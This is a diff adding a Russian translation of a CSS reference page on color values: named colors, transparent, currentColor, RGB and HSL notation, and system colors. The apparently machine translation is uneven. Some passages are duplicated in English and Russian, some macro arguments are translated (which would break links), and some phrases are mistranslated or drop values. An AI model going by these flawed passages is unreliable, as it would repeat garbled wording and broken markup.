+   <td style="background: lightsalmon;"></td>
+  </tr>
+  <tr>
+   <td style="background: #20b2aa;"></td>
+   <td style="text-align: center;"><code>lightseagreen</code></td>
+   <td><code>#20b2aa</code></td>
+   <td style="background: lightseagreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #87cefa;"></td>
+   <td style="text-align: center;"><code>lightskyblue</code></td>
+   <td><code>#87cefa</code></td>
+   <td style="background: lightskyblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #778899;"></td>
+   <td style="text-align: center;"><code>lightslategray</code></td>
+   <td><code>#778899</code></td>
+   <td style="background: lightslategray;"></td>
+  </tr>
+  <tr>
+   <td style="background: #778899;"></td>
+   <td style="text-align: center;"><code>lightslategrey</code></td>
+   <td><code>#778899</code></td>
+   <td style="background: lightslategrey;"></td>
+  </tr>
+  <tr>
+   <td style="background: #b0c4de;"></td>
+   <td style="text-align: center;"><code>lightsteelblue</code></td>
+   <td><code>#b0c4de</code></td>
+   <td style="background: lightsteelblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffffe0;"></td>
+   <td style="text-align: center;"><code>lightyellow</code></td>
+   <td><code>#ffffe0</code></td>
+   <td style="background: lightyellow;"></td>
+  </tr>
+  <tr>
+   <td style="background: #32cd32;"></td>
+   <td style="text-align: center;"><code>limegreen</code></td>
+   <td><code>#32cd32</code></td>
+   <td style="background: limegreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #faf0e6;"></td>
+   <td style="text-align: center;"><code>linen</code></td>
+   <td><code>#faf0e6</code></td>
+   <td style="background: linen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ff00ff;"></td>
+   <td style="text-align: center;"><code>magenta</code><br>
+    (synonym of <code>fuchsia</code>)</td>
+   <td><code>#ff00ff</code></td>
+   <td style="background: magenta;"></td>
+  </tr>
+  <tr>
+   <td style="background: #66cdaa;"></td>
+   <td style="text-align: center;"><code>mediumaquamarine</code></td>
+   <td><code>#66cdaa</code></td>
+   <td style="background: mediumaquamarine;"></td>
+  </tr>
+  <tr>
+   <td style="background: #0000cd;"></td>
+   <td style="text-align: center;"><code>mediumblue</code></td>
+   <td><code>#0000cd</code></td>
+   <td style="background: mediumblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ba55d3;"></td>
+   <td style="text-align: center;"><code>mediumorchid</code></td>
+   <td><code>#ba55d3</code></td>
+   <td style="background: mediumorchid;"></td>
+  </tr>
+  <tr>
+   <td style="background: #9370db;"></td>
+   <td style="text-align: center;"><code>mediumpurple</code></td>
+   <td><code>#9370db</code></td>
+   <td style="background: mediumpurple;"></td>
+  </tr>
+  <tr>
+   <td style="background: #3cb371;"></td>
+   <td style="text-align: center;"><code>mediumseagreen</code></td>
+   <td><code>#3cb371</code></td>
+   <td style="background: mediumseagreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #7b68ee;"></td>
+   <td style="text-align: center;"><code>mediumslateblue</code></td>
+   <td><code>#7b68ee</code></td>
+   <td style="background: mediumslateblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #00fa9a;"></td>
+   <td style="text-align: center;"><code>mediumspringgreen</code></td>
+   <td><code>#00fa9a</code></td>
+   <td style="background: mediumspringgreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #48d1cc;"></td>
+   <td style="text-align: center;"><code>mediumturquoise</code></td>
+   <td><code>#48d1cc</code></td>
+   <td style="background: mediumturquoise;"></td>
+  </tr>
+  <tr>
+   <td style="background: #c71585;"></td>
+   <td style="text-align: center;"><code>mediumvioletred</code></td>
+   <td><code>#c71585</code></td>
+   <td style="background: mediumvioletred;"></td>
+  </tr>
+  <tr>
+   <td style="background: #191970;"></td>
+   <td style="text-align: center;"><code>midnightblue</code></td>
+   <td><code>#191970</code></td>
+   <td style="background: midnightblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f5fffa;"></td>
+   <td style="text-align: center;"><code>mintcream</code></td>
+   <td><code>#f5fffa</code></td>
+   <td style="background: mintcream;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffe4e1;"></td>
+   <td style="text-align: center;"><code>mistyrose</code></td>
+   <td><code>#ffe4e1</code></td>
+   <td style="background: mistyrose;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffe4b5;"></td>
+   <td style="text-align: center;"><code>moccasin</code></td>
+   <td><code>#ffe4b5</code></td>
+   <td style="background: moccasin;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffdead;"></td>
+   <td style="text-align: center;"><code>navajowhite</code></td>
+   <td><code>#ffdead</code></td>
+   <td style="background: navajowhite;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fdf5e6;"></td>
+   <td style="text-align: center;"><code>oldlace</code></td>
+   <td><code>#fdf5e6</code></td>
+   <td style="background: oldlace;"></td>
+  </tr>
+  <tr>
+   <td style="background: #6b8e23;"></td>
+   <td style="text-align: center;"><code>olivedrab</code></td>
+   <td><code>#6b8e23</code></td>
+   <td style="background: olivedrab;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ff4500;"></td>
+   <td style="text-align: center;"><code>orangered</code></td>
+   <td><code>#ff4500</code></td>
+   <td style="background: orangered;"></td>
+  </tr>
+  <tr>
+   <td style="background: #da70d6;"></td>
+   <td style="text-align: center;"><code>orchid</code></td>
+   <td><code>#da70d6</code></td>
+   <td style="background: orchid;"></td>
+  </tr>
+  <tr>
+   <td style="background: #eee8aa;"></td>
+   <td style="text-align: center;"><code>palegoldenrod</code></td>
+   <td><code>#eee8aa</code></td>
+   <td style="background: palegoldenrod;"></td>
+  </tr>
+  <tr>
+   <td style="background: #98fb98;"></td>
+   <td style="text-align: center;"><code>palegreen</code></td>
+   <td><code>#98fb98</code></td>
+   <td style="background: palegreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #afeeee;"></td>
+   <td style="text-align: center;"><code>paleturquoise</code></td>
+   <td><code>#afeeee</code></td>
+   <td style="background: paleturquoise;"></td>
+  </tr>
+  <tr>
+   <td style="background: #db7093;"></td>
+   <td style="text-align: center;"><code>palevioletred</code></td>
+   <td><code>#db7093</code></td>
+   <td style="background: palevioletred;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffefd5;"></td>
+   <td style="text-align: center;"><code>papayawhip</code></td>
+   <td><code>#ffefd5</code></td>
+   <td style="background: papayawhip;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffdab9;"></td>
+   <td style="text-align: center;"><code>peachpuff</code></td>
+   <td><code>#ffdab9</code></td>
+   <td style="background: peachpuff;"></td>
+  </tr>
+  <tr>
+   <td style="background: #cd853f;"></td>
+   <td style="text-align: center;"><code>peru</code></td>
+   <td><code>#cd853f</code></td>
+   <td style="background: peru;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffc0cb;"></td>
+   <td style="text-align: center;"><code>pink</code></td>
+   <td><code>#ffc0cb</code></td>
+   <td style="background: pink;"></td>
+  </tr>
+  <tr>
+   <td style="background: #dda0dd;"></td>
+   <td style="text-align: center;"><code>plum</code></td>
+   <td><code>#dda0dd</code></td>
+   <td style="background: plum;"></td>
+  </tr>
+  <tr>
+   <td style="background: #b0e0e6;"></td>
+   <td style="text-align: center;"><code>powderblue</code></td>
+   <td><code>#b0e0e6</code></td>
+   <td style="background: powderblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #bc8f8f;"></td>
+   <td style="text-align: center;"><code>rosybrown</code></td>
+   <td><code>#bc8f8f</code></td>
+   <td style="background: rosybrown;"></td>
+  </tr>
+  <tr>
+   <td style="background: #4169e1;"></td>
+   <td style="text-align: center;"><code>royalblue</code></td>
+   <td><code>#4169e1</code></td>
+   <td style="background: royalblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #8b4513;"></td>
+   <td style="text-align: center;"><code>saddlebrown</code></td>
+   <td><code>#8b4513</code></td>
+   <td style="background: saddlebrown;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fa8072;"></td>
+   <td style="text-align: center;"><code>salmon</code></td>
+   <td><code>#fa8072</code></td>
+   <td style="background: salmon;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f4a460;"></td>
+   <td style="text-align: center;"><code>sandybrown</code></td>
+   <td><code>#f4a460</code></td>
+   <td style="background: sandybrown;"></td>
+  </tr>
+  <tr>
+   <td style="background: #2e8b57;"></td>
+   <td style="text-align: center;"><code>seagreen</code></td>
+   <td><code>#2e8b57</code></td>
+   <td style="background: seagreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fff5ee;"></td>
+   <td style="text-align: center;"><code>seashell</code></td>
+   <td><code>#fff5ee</code></td>
+   <td style="background: seashell;"></td>
+  </tr>
+  <tr>
+   <td style="background: #a0522d;"></td>
+   <td style="text-align: center;"><code>sienna</code></td>
+   <td><code>#a0522d</code></td>
+   <td style="background: sienna;"></td>
+  </tr>
+  <tr>
+   <td style="background: #87ceeb;"></td>
+   <td style="text-align: center;"><code>skyblue</code></td>
+   <td><code>#87ceeb</code></td>
+   <td style="background: skyblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #6a5acd;"></td>
+   <td style="text-align: center;"><code>slateblue</code></td>
+   <td><code>#6a5acd</code></td>
+   <td style="background: slateblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #708090;"></td>
+   <td style="text-align: center;"><code>slategray</code></td>
+   <td><code>#708090</code></td>
+   <td style="background: slategray;"></td>
+  </tr>
+  <tr>
+   <td style="background: #708090;"></td>
+   <td style="text-align: center;"><code>slategrey</code></td>
+   <td><code>#708090</code></td>
+   <td style="background: slategrey;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fffafa;"></td>
+   <td style="text-align: center;"><code>snow</code></td>
+   <td><code>#fffafa</code></td>
+   <td style="background: snow;"></td>
+  </tr>
+  <tr>
+   <td style="background: #00ff7f;"></td>
+   <td style="text-align: center;"><code>springgreen</code></td>
+   <td><code>#00ff7f</code></td>
+   <td style="background: springgreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #4682b4;"></td>
+   <td style="text-align: center;"><code>steelblue</code></td>
+   <td><code>#4682b4</code></td>
+   <td style="background: steelblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #d2b48c;"></td>
+   <td style="text-align: center;"><code>tan</code></td>
+   <td><code>#d2b48c</code></td>
+   <td style="background: tan;"></td>
+  </tr>
+  <tr>
+   <td style="background: #d8bfd8;"></td>
+   <td style="text-align: center;"><code>thistle</code></td>
+   <td><code>#d8bfd8</code></td>
+   <td style="background: thistle;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ff6347;"></td>
+   <td style="text-align: center;"><code>tomato</code></td>
+   <td><code>#ff6347</code></td>
+   <td style="background: tomato;"></td>
+  </tr>
+  <tr>
+   <td style="background: #40e0d0;"></td>
+   <td style="text-align: center;"><code>turquoise</code></td>
+   <td><code>#40e0d0</code></td>
+   <td style="background: turquoise;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ee82ee;"></td>
+   <td style="text-align: center;"><code>violet</code></td>
+   <td><code>#ee82ee</code></td>
+   <td style="background: violet;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f5deb3;"></td>
+   <td style="text-align: center;"><code>wheat</code></td>
+   <td><code>#f5deb3</code></td>
+   <td style="background: wheat;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f5f5f5;"></td>
+   <td style="text-align: center;"><code>whitesmoke</code></td>
+   <td><code>#f5f5f5</code></td>
+   <td style="background: whitesmoke;"></td>
+  </tr>
+  <tr>
+   <td style="background: #9acd32;"></td>
+   <td style="text-align: center;"><code>yellowgreen</code></td>
+   <td><code>#9acd32</code></td>
+   <td style="background: yellowgreen;"></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Colors")}}</td>
+   <td style="background: #639;"></td>
+   <td style="text-align: center;"><a href="https://en.wikipedia.org/wiki/Eric_A._Meyer#Personal_life"><code>rebeccapurple</code></a></td>
+   <td><code>#663399</code></td>
+   <td style="background: rebeccapurple;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Прозрачное_ключевое_слово"><code><a name="transparent">Прозрачное</a></code> ключевое слово</h3>
+
+<p>Ключевое слово <code>transparent</code> представляет собой полностью прозрачный цвет. Это делает фон позади цветного элемента полностью видимым. Технически <code>transparent </code>- это ярлык для <code>rgba (0,0,0,0)</code>.</p>
+
+<div class="note">
+<p><strong>Примечание по совместимости:</strong> чтобы предотвратить непредвиденное поведение, например, в {{cssxref ("градиент")}}, текущая спецификация CSS утверждает, что <code>transparent</code> должен быть вычислен в <a href="https://www.w3.org/TR/2012/CR-css3-images-20120417/#color-stop-syntax">Альфа-предварительно умноженном цветовом пространстве</a>. Однако имейте в виду, что старые браузеры могут рассматривать его как черный с Альфа-значением <code>0</code>.</p>
+</div>
+
+<div class="note">
+<p><strong>Историческая запись:</strong> <code>transparent</code> не был истинным цветом на уровне CSS 2 (Редакция 1). Это было специальное ключевое слово, которое можно было использовать вместо обычного значения <code>&lt;color&gt;</code> для двух свойств CSS: {{Cssxref("background")}} и {{Cssxref("border")}}. Он был существенно добавлен, чтобы позволить разработчикам переопределить унаследованный сплошной цвет. С появлением Альфа-каналов в CSS Colors Level 3, <code>transparent </code>был переопределен как истинный цвет. Теперь его можно использовать везде, где можно использовать значение <code>&lt;color&gt;</code>.</p>
+</div>
+
+<h3 id="currentColor_ключевое_слово"><code><a id="currentColor" name="currentColor">currentColor</a></code> ключевое слово</h3>
+
+<p>Ключевое слово <code>currentColor</code> представляет значение свойства элемента {{Cssxref("color")}}. Это позволяет использовать значение <code>color</code> для свойств, которые не получают его по умолчанию.</p>
+
+<p>Если текущий цвет используется в качестве значения свойства <code>color</code> , он вместо этого принимает его значение из наследуемого значения свойства <code>color</code>.</p>
+
+<h4 id="currentColor_пример">currentColor пример</h4>
+
+<pre class="brush: html notranslate">&lt;div style="color:blue; border: 1px dashed currentColor;"&gt;
+  Цвет текста-синий.
+  &lt;div style="background:currentColor; height:9px;"&gt;&lt;/div&gt;
+  This block is surrounded by a blue border.
+&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample("currentColor_example")}}</p>
+
+<h3 id="RGB_цвет">RGB цвет</h3>
+
+<p>Цветовая модель RGB определяет заданный цвет в соответствии с его красными, зелеными и синими компонентами. Дополнительный Альфа-компонент представляет прозрачность цвета.</p>
+
+<h4 id="Синтаксис">Синтаксис</h4>
+
+<p>Цвета RGB могут быть выражены как шестнадцатеричными (с префиксом #), так и функциональными (<code>rgb ()</code>, <code>rgba ()</code>) нотациями.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> начиная с уровня цветов CSS 4,<code> rgba()</code> является псевдонимом для <code>rgb()</code>. В браузерах, реализующих стандарт уровня 4, они принимают одни и те же параметры и ведут себя одинаково.</p>
+</div>
+
+<dl>
+ <dt>Шестнадцатеричное представление: <code>#RRGGBB[AA]</code></dt>
+ <dd><code>R</code> (red), <code>G</code> (green), <code>B</code> (blue), and <code>A</code> (alpha) are hexadecimal characters (0-9, A-F). <code>A</code> is optional. For example, <code>#ff0000</code> is equivalent to <code>#ff0000ff</code>. <code>R</code> (красный), G (зеленый), B (синий) и A (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Например, <code>#ff0000</code> эквивалентно<code> #ff0000ff</code>.</dd>
+ <dt>Шестнадцатеричное представление: <code>#RGB[A]</code></dt>
+ <dd><code>R</code> (красный), <code>G</code> (зеленый), <code>B</code> (синий) и <code>A</code> (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Трехзначная нотация (<code>#RGB</code>) является более короткой версией шестизначной формы (<code>#RRGGBB</code>). Например, <code>#f09</code> имеет тот же цвет, что и <code>#ff0099</code>. Кроме того, четырехзначная нотация RGB (<code>#RGB</code>) является более короткой версией восьмизначной формы (<code>#RRGGBBAA</code>). Например, #0f38 имеет тот же цвет, что и <code>#00ff3388</code>.</dd>
+ <dt>Функциональная нотация: <code>rgb(R, G, B[, A])</code> или <code>rgba(R, G, B, A)</code></dt>
+ <dd><code>R</code> (красный), <code>G </code>(зеленый) и <code>B</code> (синий) могут быть либо {{cssxref("&lt;number&gt;")}}s, либо {{cssxref("&lt;percentage&gt;")}}s, где число <code>255 </code>соответствует <code>100%</code>. А (Альфа) может быть {{cssxref("&lt;number&gt;")}} между <code>0</code> и <code>1</code> или {{cssxref("&lt;percentage&gt;")}}, где число 1 соответствует <code>100%</code> (полная непрозрачность).</dd>
+ <dt>Функциональная нотация: <code>rgb(R G B[ A])</code> or <code>rgba(R G B A)</code></dt>
+ <dd>CSS Colors Level 4 добавляет поддержку разделенных пробелами значений в функциональной нотации.</dd>
+</dl>
+
+<h4 id="Пример">Пример</h4>
+
+<h5 id="RGB_варианты_синтаксиса">RGB варианты синтаксиса</h5>
+
+<p>В этом примере показано множество способов создания одного цвета с помощью различных цветовых синтаксисов RGB.</p>
+
+<pre class="notranslate">/* Все эти варианты синтаксиса задают один и тот же цвет: полностью непрозрачный ярко-розовый. */
+
+/* Шестнадцатеричный синтаксис */
+#f09
+#F09
+#ff0099
+#FF0099
+
+/* Функциональный синтаксис */
+rgb(255,0,153)
+rgb(255, 0, 153)
+rgb(255, 0, 153.0)
+rgb(100%,0%,60%)
+rgb(100%, 0%, 60%)
+rgb(100%, 0, 60%) /* Ошибка! Не смешивайте цифры и проценты. */
+rgb(255 0 153)
+
+/* Шестнадцатеричный синтаксис с Альфа-значением */
+#f09f
+#F09F
+#ff0099ff
+#FF0099FF
+
+/* Функциональный синтаксис с Альфа-значением */
+rgb(255, 0, 153, 1)
+rgb(255, 0, 153, 100%)
+
+/* Синтаксис пробелов */
+rgb(255 0 153 / 1)
+rgb(255 0 153 / 100%)
+
+/* Функциональный синтаксис со значением floats */
+rgb(255, 0, 153.6, 1)
+rgb(1e2, .5e1, .5e0, +.25e2%)
+</pre>
+
+<h5 id="RGB_вариации_прозрачности">RGB вариации прозрачности</h5>
+
+<pre class="notranslate">/* Шестнадцатеричный синтаксис */
+#3a30                   <span style="background: #3a30;"> /*   0% непрозрачный зеленый цвет */ </span>
+#3A3F                   <span style="background: #3A3F;"> /* полный непрозрачный зеленый цвет */ </span>
+#33aa3300               <span style="background: #33aa3300;"> /*   0% непрозрачный зеленый цвет */ </span>
+#33AA3380               <span style="background: #33AA3380;"> /* 50% непрозрачный зеленый цвет */ </span>
+
+/* Функциональный синтаксис */
+rgba(51, 170, 51, .1)   <span style="background: rgba(51, 170, 51, .1);"> /* непрозрачный зеленый цвет на 10%  */ </span>
+rgba(51, 170, 51, .4)   <span style="background: rgba(51, 170, 51, .4);"> /* непрозрачный зеленый цвет на */ </span>
+rgba(51, 170, 51, .7)   <span style="background: rgba(51, 170, 51, .7);"> /* непрозрачный зеленый цвет на 70% */ </span>
+rgba(51, 170, 51,  1)   <span style="background: rgba(51, 170, 51,  1);"> /* полный непрозрачный зеленый цвет  */ </span>
+
+/* Синтаксис пробелов */
+rgba(51 170 51 / 0.4)   <span> /* непрозрачный зеленый цвет  на 40%*/ </span>
+rgba(51 170 51 / 40%)   <span> /* непрозрачный зеленый цвет на 40% */
+
+</span>/* Функциональный синтаксис со значением floats */
+rgba(255, 0, 153.6, 1)
+rgba(1e2, .5e1, .5e0, +.25e2%)
+</pre>
+
+<h3 id="Цвет_HSL">Цвет HSL </h3>
+
+<p>Цветовая модель HSL определяет заданный цвет в соответствии с его компонентами оттенка, насыщенности и яркости. Дополнительный Альфа-компонент представляет прозрачность цвета.</p>
+
+<p>Многие дизайнеры считают HSL более интуитивным, чем RGB, поскольку он позволяет независимо регулировать оттенок, насыщенность и легкость. HSL также может упростить создание набора подходящих цветов (например, когда вы хотите несколько оттенков одного оттенка).</p>
+
+<h4 id="Синтаксис_2">Синтаксис</h4>
+
+<p>Цвета HSL выражаются через функциональные обозначения <code>hsl()</code> и <code>hsla()</code>.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>:  Начиная с уровня цветов CSS 4, <code>hsla()</code> является псевдонимом для <code>hsl()</code>. В браузерах, реализующих стандарт уровня 4, они принимают одни и те же параметры и ведут себя одинаково.</p>
+</div>
+
+<dl>
+ <dt>Функциональная нотация: <code>hsl(H, S, L[, A])</code> или<code>hsla(H, S, L, A)</code></dt>
+ <dd><code>H</code>  (hue) - это {{cssxref("&lt;угол&gt;")}} цветового круга, заданного в <code>deg</code>S, <code>rad</code>s, градусах или поворотах {{SpecName("CSS4 Colors","#The-HSL-notation")}}. При записи в виде unitless {{cssxref ("&lt;number&gt;")}} он интерпретируется как Градусы, как указано в {{SpecName ("CSS3 Colors","#hsl-color")}}. По определению, red=<code>0</code> deg=<code>360</code> град, с другими цветами, распространенными по кругу, поэтому green=120deg град, blue=240deg град и т. д. В качестве &lt; угла &gt; он неявно обертывается таким образом, что -120deg=240deg, 480deg=120deg, -1turn=1turn, и т. д.</dd>
+ <dd><code>S</code> (<code>насыщенность</code>) и <code>L</code> (<code>легкость</code>) являются процентами. <code>100%</code> насыщенность полностью насыщена, в то время как 0% полностью ненасыщен (серый). <code>100%</code> легкость белый, <code>0%</code> легкость черный, и <code>50%</code> легкость “<code>нормально</code>.”</dd>
+ <dd><code>A</code> (alpha) can be a {{cssxref("&lt;number&gt;")}} between <code>0</code> and <code>1</code>, or a {{cssxref("&lt;percentage&gt;")}}, where the number <code>1</code> corresponds to <code>100%</code> (full opacity). <code>A</code> (Альфа) может быть {{cssxref("&lt;number&gt;")}} между <code>0</code> и <code>1</code> или {{cssxref("&lt;percentage&gt;")}}, где число <code>1</code> соответствует <code>100%</code> (полная непрозрачность).</dd>
+</dl>
+
+<dl>
+ <dt>Функциональная нотация: <code>hsl(H S L[ A])</code> or <code>hsla(H S L A)</code></dt>
+ <dd>CSS Colors Level 4 добавляет поддержку разделенных пробелами значений в функциональной нотации.</dd>
+</dl>
+
+<h4 id="Examples">Examples</h4>
+
+<h5 id="HSL_варианты_синтаксиса">HSL варианты синтаксиса</h5>
+
+<pre style="">/* Все эти примеры указывают один и тот же цвет: лаванда. */
+hsl(270,60%,70%)
+hsl(270, 60%, 70%)
+hsl(270 60% 70%)
+hsl(270deg, 60%, 70%)
+hsl(4.71239rad, 60%, 70%)
+hsl(.75turn, 60%, 70%)
+
+/* Все эти примеры указывают один и тот же цвет: лаванда, которая на 15% непрозрачна. */
+hsl(270, 60%, 50%, .15)
+hsl(270, 60%, 50%, 15%)
+hsl(270 60% 50% / .15)
+hsl(270 60% 50% / 15%)
+</pre>
+
+<h5 id="Полностью_насыщенные_цвета">Полностью насыщенные цвета</h5>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Нотация</th>
+   <th scope="col">Описание:</th>
+   <th scope="col">Итог</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>hsl(0, 100%, 50%)</code></td>
+   <td>red</td>
+   <td style="background: hsl(0,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(30, 100%, 50%)</code></td>
+   <td>orange</td>
+   <td style="background: hsl(30,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(60, 100%, 50%)</code></td>
+   <td>yellow</td>
+   <td style="background: hsl(60,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(90, 100%, 50%)</code></td>
+   <td>lime green</td>
+   <td style="background: hsl(90,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 100%, 50%)</code></td>
+   <td>green</td>
+   <td style="background: hsl(120,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(150, 100%, 50%)</code></td>
+   <td>blue-green</td>
+   <td style="background: hsl(150,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(180, 100%, 50%)</code></td>
+   <td>cyan</td>
+   <td style="background: hsl(180,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(210, 100%, 50%)</code></td>
+   <td>sky blue</td>
+   <td style="background: hsl(210,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(240, 100%, 50%)</code></td>
+   <td>blue</td>
+   <td style="background: hsl(240,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(270, 100%, 50%)</code></td>
+   <td>purple</td>
+   <td style="background: hsl(270,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(300, 100%, 50%)</code></td>
+   <td>magenta</td>
+   <td style="background: hsl(300,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(330, 100%, 50%)</code></td>
+   <td>pink</td>
+   <td style="background: hsl(330,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(360, 100%, 50%)</code></td>
+   <td>red</td>
+   <td style="background: hsl(360,100%,50%);"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h5 id="Более_светлая_и_более_темная_зелень">Более светлая и более темная зелень</h5>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Нотация</th>
+   <th scope="col">Описание:</th>
+   <th scope="col">Итог</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>hsl(120, 100%, 0%)</code></td>
+   <td>black</td>
+   <td style="background: hsl(120,100%,0%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 100%, 20%)</code></td>
+   <td></td>
+   <td style="background: hsl(120,100%,20%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 100%, 40%)</code></td>
+   <td></td>
+   <td style="background: hsl(120,100%,40%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 100%, 60%)</code></td>
+   <td></td>
+   <td style="background: hsl(120,100%,60%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 100%, 80%)</code></td>
+   <td></td>
+   <td style="background: hsl(120,100%,80%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 100%, 100%)</code></td>
+   <td>white</td>
+   <td style="background: hsl(120,100%,100%);"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h5 id="Насыщенная_и_ненасыщенная_зелень">Насыщенная и ненасыщенная зелень</h5>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Нотация</th>
+   <th scope="col">Описание:</th>
+   <th scope="col">Итог</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>hsl(120, 100%, 50%)</code></td>
+   <td>green</td>
+   <td style="background: hsl(120,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 80%, 50%)</code></td>
+   <td></td>
+   <td style="background: hsl(120,80%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 60%, 50%)</code></td>
+   <td></td>
+   <td style="background: hsl(120,60%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 40%, 50%)</code></td>
+   <td></td>
+   <td style="background: hsl(120,40%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 20%, 50%)</code></td>
+   <td></td>
+   <td style="background: hsl(120,20%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 0%, 50%)</code></td>
+   <td>gray</td>
+   <td style="background: hsl(120,0%,50%);"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h5 id="Вариации_прозрачности_HSL">Вариации прозрачности HSL</h5>
+
+<pre style="">hsla(240, 100%, 50%, .05)    <span style="background: hsla(240,100%,50%,0.05);"> /* непрозрачный синий на 5% */ </span>
+hsla(240, 100%, 50%, .4)     <span style="background: hsla(240,100%,50%,0.4);"> /* непрозрачный синий на 40% */ </span>
+hsla(240, 100%, 50%, .7)     <span style="background: hsla(240,100%,50%,0.7);"> /* непрозрачный синий на 70% */ </span>
+hsla(240, 100%, 50%, 1)      <span style="background: hsla(240,100%,50%,1);"> /* полный непрозрачный синий */ </span>
+
+/* Синтаксис пробелов */
+hsla(240 100% 50% / .05)     <span style="background: hsla(240,100%,50%,0.05);"> /* непрозрачный синий на  5% */ </span>
+
+/* Процентное значение для Альфа */
+hsla(240 100% 50% / 5%)      <span style="background: hsla(240,100%,50%,0.05);"> /*  непрозрачный синий на 5% */ </span>
+</pre>
+
+<h3 id="Системный_цвет">Системный цвет</h3>
+
+<p>Не все системные цвета поддерживаются на всех системах. {{deprecated_inline}} для использования на общедоступных веб-страницах.</p>
+
+<dl style="">
+ <dt>ActiveBorder</dt>
+ <dd>Активная граница окна.</dd>
+ <dt>ActiveCaption</dt>
+ <dd>Активный заголовок окна. Должен использоваться с текстом <code>CaptionText</code> в качестве цвета переднего плана.</dd>
+ <dt>AppWorkspace</dt>
+ <dd>Цвет фона интерфейса нескольких документов.</dd>
+ <dt>Background</dt>
+ <dd>Фон рабочего стола.</dd>
+ <dt>ButtonFace</dt>
+ <dd>Цвет фона лица для трехмерных элементов, которые появляются 3-D из-за одного слоя окружающей границы. Следует использовать с текстом <code>ButtonText</code> цвет переднего плана.</dd>
+ <dt>ButtonHighlight</dt>
+ <dd>Цвет границы, обращенной к источнику света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы.</dd>
+ <dt>ButtonShadow</dt>
+ <dd>Цвет границы вдали от источника света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы. Цвет границы находится вдали от источника света для трехмерных элементов, которые появляются 3-D из-за этого слоя, окружающего границу.</dd>
+ <dt>ButtonText</dt>
+ <dd>Следует использовать с <code>ButtonFace</code> или <code>ThreeDFace</code> цвет фона.</dd>
+ <dt>CaptionText</dt>
+ <dd>Текст в заголовке, поле размера и поле со стрелкой прокрутки. Следует использовать с цветом фона <code>ActiveCaption</code>.</dd>
+ <dt>GrayText</dt>
+ <dd>Серый (отключен) текст.</dd>
+ <dt>Highlight</dt>
+ <dd>Элемент(ы), выбранный в элементе управления. Следует использовать с <code>HighlightText</code> текста цветом переднего плана.</dd>
